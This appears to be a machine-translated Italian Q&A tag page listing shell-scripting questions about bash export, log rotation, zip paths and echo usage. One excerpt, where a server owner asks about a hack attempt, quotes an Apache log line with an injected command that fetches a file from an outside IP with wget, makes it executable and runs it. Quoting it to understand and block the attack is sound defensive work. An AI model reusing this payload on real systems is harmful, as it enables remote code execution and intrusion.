Domande taggate «shell-script»

Uno script di shell è uno script scritto per la shell, o interprete della riga di comando, di un sistema operativo.




3
Cosa fa l'esportazione in BASH? [duplicare]
Possibile duplicato: differenza tra “a = b” e “export a = b” in bash È difficile da ammettere, ma non ho mai veramente capito cosa exportfa esattamente una variabile d'ambiente. So che se non esporto una variabile a volte non riesco a vederla nei processi figlio, ma a volte sembra …

15
Come eseguire il file .sh su Windows?
Quando sto cercando di eseguire un file (name.sh) nella riga di comando dal comando ./name.sh, visualizzo l'errore che: "" non è riconosciuto come comando interno o esterno, file eseguibile o batch per favore aiutatemi ad eseguire il file .sh


9
Registra la rotazione di stdout?
Ho un programma Linux che può scrivere informazioni su stdout e stderr. Ho uno script di shell che reindirizza l'output su un file /var/log. (Via >>e 2>&1.) C'è un modo per far ruotare quel file di registro? (dimensione massima, quindi passa a un altro file, mantieni solo un numero limitato …

3
Evita percorsi indesiderati nel file Zip
Sto realizzando uno script shell per impacchettare alcuni file. Sto comprimendo una directory come questa: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Il problema è che l'archivio out.zip risultante contiene l'intero percorso del file. Cioè, quando decompresso, avrà l'intero percorso "/ Users / me / development / anotherthing /". È possibile evitare questi …
49 macos  bash  zip  path  shell-script 


2
Cosa fa questo script bash? [Tentativo di hack]
Ho notato nei registri di Apache sui miei server, le seguenti strane righe recentemente: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Quindi ho creato un filtro Fail2Ban personalizzato e ho iniziato a vietare gli IP richiedendo questi URL /login.cgi. Ma ero curioso di sapere cosa …

2
Cosa c'è di sbagliato in "echo $ (stuff)" o "echo` stuff` "?
Ho usato uno dei seguenti echo $(stuff) echo `stuff` (dove stuffè ad esempio pwdo dateo qualcosa di più complicato). Poi mi è stato detto che questa sintassi è sbagliata, una cattiva pratica, non elegante, eccessiva, ridondante, eccessivamente complicata, una programmazione di culto del carico, noobish, ingenua ecc. Ma il comando …
31 shell-script  sh  echo 

5
Come estrarre un elenco completo di tipi di estensione all'interno di una directory?
All'interno di una directory e ricorsivamente all'interno delle sue sottodirectory, ovvero ogni directory all'interno di una directory viene elaborata, come faccio a compilare un elenco completo di estensioni univoche all'interno della directory? Il sistema operativo è Windows XP con tutti gli aggiornamenti attuali, ma va bene eseguire script se sono …

2
Lo script Shell fa eco alla nuova riga nel file
Voglio fare eco a una nuova riga in un file tra le variabili in uno script di shell. Ecco il mio codice: var1 = "Ciao" var2 = "World!" logwrite = "$ var1 [Ecco dove voglio inserire una nuova riga] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt In questo momento, quando …


3
Come aggiornare bash su Mac OS X Yosemite
Sto solo cercando di imparare un po 'di scripting bash. La mia vecchia versione bash: Bash version 3.2.53(1)-release... Ho aggiornato il mio bash su mac os x yosemite con homebrew: brew update brew install bash Quindi nelle proprietà del terminale ho cambiato il percorso standard della shell da /bin/basha /usr/local/bin/bash(Come …

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.